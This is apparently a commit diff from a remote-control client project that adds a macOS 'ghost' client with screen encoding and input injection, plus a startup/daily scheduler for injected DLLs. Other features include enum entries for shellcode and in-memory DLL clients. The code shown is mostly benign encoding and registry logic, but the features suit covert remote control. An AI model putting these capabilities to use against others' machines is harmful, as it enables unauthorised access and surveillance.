void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CTR) && (CTR == 1)
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
#endif // _AES_H_

View File

@@ -41,7 +41,10 @@
typedef int64_t __int64;
typedef uint16_t WORD;
typedef uint32_t DWORD;
typedef int BOOL, SOCKET;
#ifndef BOOL
typedef bool BOOL;
#endif
typedef int SOCKET;
typedef unsigned int ULONG;
typedef unsigned int UINT;
typedef void VOID;
@@ -69,6 +72,7 @@ typedef struct {
#endif
#include "ip_enc.h"
#include "scheduler.h"
#include <time.h>
#include <unordered_map>
@@ -532,6 +536,7 @@ enum {
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
};
enum {
@@ -557,6 +562,8 @@ inline const char* GetClientType(int typ)
return "MDLL";
case CLIENT_TYPE_LINUX:
return "LNX";
case CLIENT_TYPE_MACOS:
return "MAC";
default:
return "DLL";
}
@@ -1145,7 +1152,8 @@ typedef struct DllExecuteInfo {
char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL
char Reseverd[18];
unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
} DllExecuteInfo;
typedef struct DllExecuteInfoNew {
@@ -1156,7 +1164,8 @@ typedef struct DllExecuteInfoNew {
char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL
char Reseverd[18];
unsigned short InfoSize; // 结构体大小
ScheduleParams Schedule; // 执行计划
char Parameters[400];
} DllExecuteInfoNew;
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size)

View File

@@ -359,6 +359,88 @@ public:
}
m_keyCache.clear();
}
// 枚举 m_SubKeyPath 下的所有子键名称
// suffix: 只返回以该后缀结尾的键名,默认为空表示返回所有键
std::vector<std::string> EnumSubKeys(const std::string& suffix = "") const
{
std::vector<std::string> result;
// 使用缓存获取 m_SubKeyPath 的句柄
auto it = m_keyCache.find(m_SubKeyPath);
HKEY hKey = NULL;
if (it != m_keyCache.end()) {
hKey = it->second;
} else {
if (RegOpenKeyExA(m_hRootKey, m_SubKeyPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return result;
}
m_keyCache[m_SubKeyPath] = hKey;
}
char keyName[256];
DWORD keyNameSize;
DWORD index = 0;
while (true) {
keyNameSize = sizeof(keyName);
LONG ret = RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(keyName);
} else {
std::string name(keyName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
// 枚举指定 MainKey 下的所有值名称
// suffix: 只返回以该后缀结尾的值名,默认为空表示返回所有值
std::vector<std::string> EnumValues(const std::string& MainKey, const std::string& suffix = "") const
{
std::vector<std::string> result;
HKEY hKey = GetCachedKey(MainKey);
if (!hKey)
return result;
char valueName[256];
DWORD valueNameSize;
DWORD index = 0;
while (true) {
valueNameSize = sizeof(valueName);
LONG ret = RegEnumValueA(hKey, index, valueName, &valueNameSize, NULL, NULL, NULL, NULL);
if (ret == ERROR_NO_MORE_ITEMS) {
break;
}
if (ret == ERROR_SUCCESS) {
if (suffix.empty()) {
result.push_back(valueName);
} else {
std::string name(valueName);
if (name.size() >= suffix.size() &&
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
result.push_back(name);
}
}
}
index++;
}
return result;
}
};
// 配置读取类: 注册表二进制配置(带键句柄缓存)

100
common/scheduler.h Normal file
View File

@@ -0,0 +1,100 @@
#ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H
// 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式
#pragma pack(push, 1)
// 严格定义 16 字节结构
typedef struct {
unsigned char Mode; // [1 字节] 0=None, 1=Startup, 2=Daily...
unsigned char Flags; // [1 字节] 标志位 (bit0:禁用)
union {
// Mode 1: 启动执行 + 间隔控制
struct {
unsigned int Interval;
} Startup;
// Mode 2 & 3: 定时模式
struct {
unsigned short TargetMin;
unsigned char DaysMask;
unsigned char Reserved;
} Timed;
} Config;
uint64_t LastRunTime;
unsigned char CurrentCount;
unsigned char MaxCount;
} ScheduleParams;
#pragma pack(pop)
#ifdef _WIN32
#include <windows.h>
class YamaTaskEngine {
public:
static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
unsigned __int64 now = GetCurrentFT();
// --- 2. 启动执行模式 (Mode 1) ---
if (p->Mode == SCH_MODE_STARTUP) {
// 检查时间间隔限制
if (p->Config.Startup.Interval > 0 && p->LastRunTime > 0) {
unsigned __int64 diffSec = (now - p->LastRunTime) / 10000000ULL;
if (diffSec < (unsigned __int64)p->Config.Startup.Interval) {
return false;
}
}
return true;
}
// --- 3. 每日定时逻辑 (Mode 2) ---
if (p->Mode == SCH_MODE_DAILY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true;
}
}
return false;
}
static void MarkExecuted(ScheduleParams* p) {
p->LastRunTime = GetCurrentFT();
if (p->MaxCount > 0 && p->CurrentCount < 255) {
p->CurrentCount++;
}
}
private:
static unsigned __int64 GetCurrentFT() {
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
return ((unsigned __int64)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
}
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FILETIME f1, f2;
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
}
};
#endif
#endif

BIN
linux/lib/libzstd.a Normal file

Binary file not shown.

73
macos/CMakeLists.txt Normal file
View File

@@ -0,0 +1,73 @@
cmake_minimum_required(VERSION 3.15)
project(ghost_macos)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# macOS deployment target
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version")
# Universal Binary (Intel + Apple Silicon)
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures")
include_directories(../)
include_directories(../client)
include_directories(../compress)
# Source files
set(SOURCES
main.mm
../client/Buffer.cpp
../client/IOCPClient.cpp
ScreenHandler.mm
InputHandler.mm
SystemManager.mm
Permissions.mm
H264Encoder.mm
)
# Create executable
add_executable(ghost ${SOURCES})
# Include directories
target_include_directories(ghost PRIVATE
${CMAKE_CURRENT_SOURCE_DIR}
)
# Find and link macOS frameworks
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
find_library(SECURITY_FRAMEWORK Security REQUIRED)
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK}
${COREGRAPHICS_FRAMEWORK}
${IOKIT_FRAMEWORK}
${IOSURFACE_FRAMEWORK}
${APPLICATIONSERVICES_FRAMEWORK}
${SECURITY_FRAMEWORK}
${CARBON_FRAMEWORK}
${VIDEOTOOLBOX_FRAMEWORK}
${COREMEDIA_FRAMEWORK}
${COREVIDEO_FRAMEWORK}
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
)
# Compiler flags
target_compile_options(ghost PRIVATE
-Wall
-Wextra
-fobjc-arc
)
# Output directory
set_target_properties(ghost PROPERTIES
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
)

86
macos/H264Encoder.h Normal file
View File

@@ -0,0 +1,86 @@
#pragma once
#include <cstdint>
#include <vector>
#include <mutex>
#include <atomic>
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
class H264Encoder {
public:
H264Encoder();
~H264Encoder();
// Initialize encoder
// @param width: frame width
// @param height: frame height
// @param fps: target frame rate
// @param bitrate: target bitrate in kbps (0 = auto)
bool open(int width, int height, int fps, int bitrate = 0);
// Close encoder and release resources
void close();
// Check if encoder is open
bool isOpen() const { return m_session != nullptr; }
// Encode a frame
// @param bgra: BGRA pixel data (bottom-up or top-down)
// @param bpp: bits per pixel (32 for BGRA)
// @param stride: bytes per row
// @param width: frame width
// @param height: frame height
// @param outData: pointer to receive encoded data pointer
// @param outSize: pointer to receive encoded data size
// @param flipVertical: true if image is bottom-up (BMP format)
// @return: encoded size, or 0 on failure
int encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical = true);
// Force next frame to be keyframe
void forceKeyframe() { m_forceKeyframe = true; }
// Get last error message
const char* getLastError() const { return m_lastError; }
private:
// VideoToolbox compression callback
static void compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer);
// Process encoded sample buffer
void processSampleBuffer(CMSampleBufferRef sampleBuffer);
// Convert BGRA to I420 (YUV)
void convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical);
private:
VTCompressionSessionRef m_session;
int m_width;
int m_height;
int m_fps;
int m_bitrate;
// YUV buffers
std::vector<uint8_t> m_yPlane;
std::vector<uint8_t> m_uPlane;
std::vector<uint8_t> m_vPlane;
// Output buffer
std::vector<uint8_t> m_outputBuffer;
std::mutex m_outputMutex;
// State
std::atomic<bool> m_forceKeyframe;
int64_t m_frameCount;
char m_lastError[256];
};

521
macos/H264Encoder.mm Normal file
View File

@@ -0,0 +1,521 @@
#import "H264Encoder.h"
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
#import <CoreVideo/CoreVideo.h>
#import <Cocoa/Cocoa.h>
H264Encoder::H264Encoder()
: m_session(nullptr)
, m_width(0)
, m_height(0)
, m_fps(30)
, m_bitrate(0)
, m_forceKeyframe(false)
, m_frameCount(0)
{
m_lastError[0] = '\0';
}
H264Encoder::~H264Encoder()
{
close();
}
bool H264Encoder::open(int width, int height, int fps, int bitrate)
{
close();
// Width and height must be even for H264
m_width = width & ~1;
m_height = height & ~1;
m_fps = fps > 0 ? fps : 30;
m_bitrate = bitrate > 0 ? bitrate : (m_width * m_height * 3); // ~3 bits per pixel default
// Allocate YUV buffers
int ySize = m_width * m_height;
int uvSize = (m_width / 2) * (m_height / 2);
m_yPlane.resize(ySize);
m_uPlane.resize(uvSize);
m_vPlane.resize(uvSize);
// Reserve output buffer
m_outputBuffer.reserve(m_width * m_height);
// Create compression session
CFMutableDictionaryRef encoderSpec = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
// Prefer hardware encoder
CFDictionarySetValue(encoderSpec,
kVTVideoEncoderSpecification_EnableHardwareAcceleratedVideoEncoder,
kCFBooleanTrue);
// Source image attributes
CFMutableDictionaryRef sourceAttrs = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
int32_t pixelFormat = kCVPixelFormatType_420YpCbCr8Planar; // I420
CFNumberRef pixelFormatNum = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pixelFormat);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferPixelFormatTypeKey, pixelFormatNum);
CFRelease(pixelFormatNum);
int32_t widthNum = m_width;
int32_t heightNum = m_height;
CFNumberRef widthRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &widthNum);
CFNumberRef heightRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &heightNum);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferWidthKey, widthRef);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferHeightKey, heightRef);
CFRelease(widthRef);
CFRelease(heightRef);
// Create compression session
OSStatus status = VTCompressionSessionCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCMVideoCodecType_H264,
encoderSpec,
sourceAttrs,
kCFAllocatorDefault,
compressionCallback,
this,
&m_session
);
CFRelease(encoderSpec);
CFRelease(sourceAttrs);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionCreate failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
return false;
}
// Configure session properties
// Real-time encoding
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_RealTime, kCFBooleanTrue);
// Profile: Baseline for compatibility
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ProfileLevel,
kVTProfileLevel_H264_Baseline_AutoLevel);
// Allow frame reordering: false for low latency
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AllowFrameReordering, kCFBooleanFalse);
// Max keyframe interval (GOP size) - match Windows x264 setting (15 seconds)
int32_t keyframeInterval = m_fps * 15; // Keyframe every 15 seconds
CFNumberRef keyframeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &keyframeInterval);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_MaxKeyFrameInterval, keyframeRef);
CFRelease(keyframeRef);
// Expected frame rate
CFNumberRef fpsRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_fps);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ExpectedFrameRate, fpsRef);
CFRelease(fpsRef);
// Average bitrate
CFNumberRef bitrateRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_bitrate);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AverageBitRate, bitrateRef);
CFRelease(bitrateRef);
// Data rate limits (for more consistent bitrate)
// [bytes per second, duration in seconds]
int64_t dataRateLimit = m_bitrate / 8;
double duration = 1.0;
CFNumberRef bytesRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &dataRateLimit);
CFNumberRef durationRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberFloat64Type, &duration);
CFTypeRef limits[2] = { bytesRef, durationRef };
CFArrayRef limitsArray = CFArrayCreate(kCFAllocatorDefault, limits, 2, &kCFTypeArrayCallBacks);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_DataRateLimits, limitsArray);
CFRelease(bytesRef);
CFRelease(durationRef);
CFRelease(limitsArray);
// Prepare to encode
status = VTCompressionSessionPrepareToEncodeFrames(m_session);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionPrepareToEncodeFrames failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
close();
return false;
}
m_frameCount = 0;
m_forceKeyframe = true; // First frame is always keyframe
NSLog(@"H264Encoder opened: %dx%d @ %d fps, bitrate=%d",
m_width, m_height, m_fps, m_bitrate);
return true;
}
void H264Encoder::close()
{
if (m_session) {
VTCompressionSessionInvalidate(m_session);
CFRelease(m_session);
m_session = nullptr;
}
m_yPlane.clear();
m_uPlane.clear();
m_vPlane.clear();
m_outputBuffer.clear();
}
void H264Encoder::convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical)
{
// Convert BGRA to I420 (YUV 4:2:0 planar)
// Y = 0.299*R + 0.587*G + 0.114*B
// U = -0.169*R - 0.331*G + 0.500*B + 128
// V = 0.500*R - 0.419*G - 0.081*B + 128
uint8_t* yDst = m_yPlane.data();
uint8_t* uDst = m_uPlane.data();
uint8_t* vDst = m_vPlane.data();
int uvWidth = width / 2;
for (uint32_t y = 0; y < height; y++) {
// Source row (handle vertical flip)
uint32_t srcY = flipVertical ? (height - 1 - y) : y;
const uint8_t* srcRow = bgra + srcY * stride;
// Y plane destination
uint8_t* yRow = yDst + y * width;
for (uint32_t x = 0; x < width; x++) {
uint8_t b = srcRow[x * 4 + 0];
uint8_t g = srcRow[x * 4 + 1];
uint8_t r = srcRow[x * 4 + 2];
// Y component
int yVal = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
yRow[x] = (uint8_t)(yVal < 0 ? 0 : (yVal > 255 ? 255 : yVal));
}
// UV planes (subsampled 2x2)
if (y % 2 == 0) {
uint8_t* uRow = uDst + (y / 2) * uvWidth;
uint8_t* vRow = vDst + (y / 2) * uvWidth;
for (uint32_t x = 0; x < width; x += 2) {
// Average 2x2 block
uint32_t srcY2 = flipVertical ? (height - 2 - y) : (y + 1);
if (srcY2 >= height) srcY2 = srcY;
const uint8_t* srcRow2 = bgra + srcY2 * stride;
int r = 0, g = 0, b = 0;
// Top-left
b += srcRow[x * 4 + 0];
g += srcRow[x * 4 + 1];
r += srcRow[x * 4 + 2];
// Top-right
if (x + 1 < width) {
b += srcRow[(x + 1) * 4 + 0];
g += srcRow[(x + 1) * 4 + 1];
r += srcRow[(x + 1) * 4 + 2];
}
// Bottom-left
b += srcRow2[x * 4 + 0];
g += srcRow2[x * 4 + 1];
r += srcRow2[x * 4 + 2];
// Bottom-right
if (x + 1 < width) {
b += srcRow2[(x + 1) * 4 + 0];
g += srcRow2[(x + 1) * 4 + 1];
r += srcRow2[(x + 1) * 4 + 2];
}
r /= 4;
g /= 4;
b /= 4;
// U component
int uVal = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
uRow[x / 2] = (uint8_t)(uVal < 0 ? 0 : (uVal > 255 ? 255 : uVal));
// V component
int vVal = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
vRow[x / 2] = (uint8_t)(vVal < 0 ? 0 : (vVal > 255 ? 255 : vVal));
}
}
}
}
int H264Encoder::encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical)
{
if (!m_session) {
snprintf(m_lastError, sizeof(m_lastError), "Encoder not initialized");
return 0;
}
if (width != (uint32_t)m_width || height != (uint32_t)m_height) {
snprintf(m_lastError, sizeof(m_lastError),
"Frame size mismatch: expected %dx%d, got %dx%d",
m_width, m_height, (int)width, (int)height);
return 0;
}
// Convert BGRA to I420
convertBGRAtoI420(bgra, stride, width, height, flipVertical);
// Create CVPixelBuffer
CVPixelBufferRef pixelBuffer = nullptr;
NSDictionary* options = @{
(id)kCVPixelBufferIOSurfacePropertiesKey: @{}
};
CVReturn cvRet = CVPixelBufferCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCVPixelFormatType_420YpCbCr8Planar,
(__bridge CFDictionaryRef)options,
&pixelBuffer
);
if (cvRet != kCVReturnSuccess) {
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBufferCreate failed: %d", (int)cvRet);
return 0;
}
// Lock and copy YUV data
CVPixelBufferLockBaseAddress(pixelBuffer, 0);
size_t planeCount = CVPixelBufferGetPlaneCount(pixelBuffer);
if (planeCount < 3) {
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
CVPixelBufferRelease(pixelBuffer);
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBuffer has %zu planes, expected 3", planeCount);
return 0;
}
// Y plane
uint8_t* yDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 0);
size_t yStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 0);
for (int y = 0; y < m_height; y++) {
memcpy(yDst + y * yStride, m_yPlane.data() + y * m_width, m_width);
}
// U plane
uint8_t* uDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 1);
size_t uStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 1);
int uvHeight = m_height / 2;
int uvWidth = m_width / 2;
for (int y = 0; y < uvHeight; y++) {
memcpy(uDst + y * uStride, m_uPlane.data() + y * uvWidth, uvWidth);
}
// V plane
uint8_t* vDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 2);
size_t vStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 2);
for (int y = 0; y < uvHeight; y++) {
memcpy(vDst + y * vStride, m_vPlane.data() + y * uvWidth, uvWidth);
}
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
// Prepare frame properties
CFMutableDictionaryRef frameProps = nullptr;
if (m_forceKeyframe.exchange(false)) {
frameProps = CFDictionaryCreateMutable(
kCFAllocatorDefault, 1,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
CFDictionarySetValue(frameProps,
kVTEncodeFrameOptionKey_ForceKeyFrame,
kCFBooleanTrue);
}
// Clear output buffer
{
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
}
// Presentation timestamp
CMTime pts = CMTimeMake(m_frameCount++, m_fps);
// Encode frame
OSStatus status = VTCompressionSessionEncodeFrame(
m_session,
pixelBuffer,
pts,
kCMTimeInvalid,
frameProps,
nullptr,
nullptr
);
if (frameProps) {
CFRelease(frameProps);
}
CVPixelBufferRelease(pixelBuffer);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionEncodeFrame failed: %d", (int)status);
return 0;
}
// Wait for encoding to complete
VTCompressionSessionCompleteFrames(m_session, kCMTimeInvalid);
// Return encoded data
std::lock_guard<std::mutex> lock(m_outputMutex);
if (m_outputBuffer.empty()) {
return 0;
}
*outData = m_outputBuffer.data();
*outSize = (uint32_t)m_outputBuffer.size();
return (int)m_outputBuffer.size();
}
void H264Encoder::compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer)
{
(void)sourceFrameRefCon;
(void)infoFlags;
H264Encoder* encoder = (H264Encoder*)outputCallbackRefCon;
if (status != noErr) {
NSLog(@"H264Encoder: Compression callback error: %d", (int)status);
return;
}
if (!sampleBuffer) {
return;
}
encoder->processSampleBuffer(sampleBuffer);
}
void H264Encoder::processSampleBuffer(CMSampleBufferRef sampleBuffer)
{
// Check if keyframe
CFArrayRef attachments = CMSampleBufferGetSampleAttachmentsArray(sampleBuffer, false);
bool isKeyframe = false;
if (attachments && CFArrayGetCount(attachments) > 0) {
CFDictionaryRef dict = (CFDictionaryRef)CFArrayGetValueAtIndex(attachments, 0);
CFBooleanRef notSync = (CFBooleanRef)CFDictionaryGetValue(dict,
kCMSampleAttachmentKey_NotSync);
isKeyframe = (notSync == nullptr || !CFBooleanGetValue(notSync));
}
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
// Get format description for SPS/PPS
CMFormatDescriptionRef formatDesc = CMSampleBufferGetFormatDescription(sampleBuffer);
// If keyframe, prepend SPS and PPS
if (isKeyframe && formatDesc) {
// Get SPS
size_t spsSize = 0;
size_t spsCount = 0;
const uint8_t* sps = nullptr;
OSStatus status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, &sps, &spsSize, &spsCount, nullptr);
if (status == noErr && sps && spsSize > 0) {
// Write NAL start code + SPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), sps, sps + spsSize);
}
// Get PPS
size_t ppsSize = 0;
size_t ppsCount = 0;
const uint8_t* pps = nullptr;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 1, &pps, &ppsSize, &ppsCount, nullptr);
if (status == noErr && pps && ppsSize > 0) {
// Write NAL start code + PPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), pps, pps + ppsSize);
}
}
// Get encoded data
CMBlockBufferRef blockBuffer = CMSampleBufferGetDataBuffer(sampleBuffer);
if (!blockBuffer) {
return;
}
size_t totalLength = 0;
size_t lengthAtOffset = 0;
char* dataPointer = nullptr;
OSStatus status = CMBlockBufferGetDataPointer(
blockBuffer, 0, &lengthAtOffset, &totalLength, &dataPointer);
if (status != noErr || !dataPointer) {
return;
}
// Get NAL unit length size from format description (usually 4 bytes)
int nalLengthSize = 4;
if (formatDesc) {
int tmpNalLengthSize = 0;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, nullptr, nullptr, nullptr, &tmpNalLengthSize);
if (status == noErr && tmpNalLengthSize > 0 && tmpNalLengthSize <= 4) {
nalLengthSize = tmpNalLengthSize;
}
}
// Convert AVCC format (length-prefixed) to Annex B (start code prefixed)
size_t offset = 0;
while (offset < totalLength) {
// Read NAL unit length (big-endian, variable size)
uint32_t nalLength = 0;
const uint8_t* lengthPtr = (const uint8_t*)dataPointer + offset;
for (int i = 0; i < nalLengthSize; i++) {
nalLength = (nalLength << 8) | lengthPtr[i];
}
offset += nalLengthSize;
if (nalLength > 0 && offset + nalLength <= totalLength) {
// Write NAL start code
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
// Write NAL data
m_outputBuffer.insert(m_outputBuffer.end(),
(uint8_t*)dataPointer + offset,
(uint8_t*)dataPointer + offset + nalLength);
}
offset += nalLength;
}
}

80
macos/InputHandler.h Normal file
View File

@@ -0,0 +1,80 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#include <cstdint>
#include <atomic>
// Windows message constants (for parsing server commands)
#define WM_MOUSEMOVE 0x0200
#define WM_LBUTTONDOWN 0x0201
#define WM_LBUTTONUP 0x0202
#define WM_LBUTTONDBLCLK 0x0203
#define WM_RBUTTONDOWN 0x0204
#define WM_RBUTTONUP 0x0205
#define WM_RBUTTONDBLCLK 0x0206
#define WM_MBUTTONDOWN 0x0207
#define WM_MBUTTONUP 0x0208
#define WM_MBUTTONDBLCLK 0x0209
#define WM_MOUSEWHEEL 0x020A
#define WM_KEYDOWN 0x0100
#define WM_KEYUP 0x0101
#define WM_SYSKEYDOWN 0x0104
#define WM_SYSKEYUP 0x0105
// Windows wheel delta extraction
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16))
// MSG64 structure (compatible with Windows/Linux)
#pragma pack(push, 1)
struct MSG64_MAC {
uint64_t hwnd;
uint64_t message;
uint64_t wParam;
uint64_t lParam;
uint64_t time;
int32_t pt_x;
int32_t pt_y;
};
#pragma pack(pop)
class InputHandler {
public:
InputHandler();
~InputHandler();
// Initialize (checks accessibility permission)
bool init();
// Handle input event from server
void handleInputEvent(const MSG64_MAC* msg);
// Check if accessibility permission is available
bool hasAccessibilityPermission() const { return m_hasPermission; }
private:
// Mouse event helpers
void handleMouseMove(int x, int y);
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
void handleMouseWheel(int delta);
// Keyboard event helpers
void handleKeyEvent(uint32_t vkCode, bool down);
// Convert Windows VK code to macOS key code
static CGKeyCode vkToMacKeyCode(uint32_t vk);
private:
std::atomic<bool> m_hasPermission{false};
std::atomic<bool> m_warningLogged{false};
// Track button states for CGEvent (atomic for thread safety)
CGPoint m_lastMousePos;
std::atomic<bool> m_leftButtonDown{false};
std::atomic<bool> m_rightButtonDown{false};
std::atomic<bool> m_middleButtonDown{false};
// Track modifier key states for proper key event handling
std::atomic<CGEventFlags> m_modifierFlags{0};
};

396
macos/InputHandler.mm Normal file
View File

@@ -0,0 +1,396 @@
#import "InputHandler.h"
#import "Permissions.h"
#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>
#include <unistd.h> // for usleep
InputHandler::InputHandler()
: m_lastMousePos(CGPointZero)
{
// atomic members are initialized in class declaration
}
InputHandler::~InputHandler()
{
}
bool InputHandler::init()
{
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
NSLog(@"InputHandler: Accessibility permission not granted");
// Request permission (shows system dialog)
Permissions::requestAccessibility();
}
return m_hasPermission;
}
void InputHandler::handleInputEvent(const MSG64_MAC* msg)
{
if (!m_hasPermission) {
// Re-check permission
m_hasPermission = Permissions::checkAccessibility();
if (!m_hasPermission) {
if (!m_warningLogged) {
NSLog(@"InputHandler: Cannot handle input - no accessibility permission");
m_warningLogged = true;
}
return;
}
m_warningLogged = false;
}
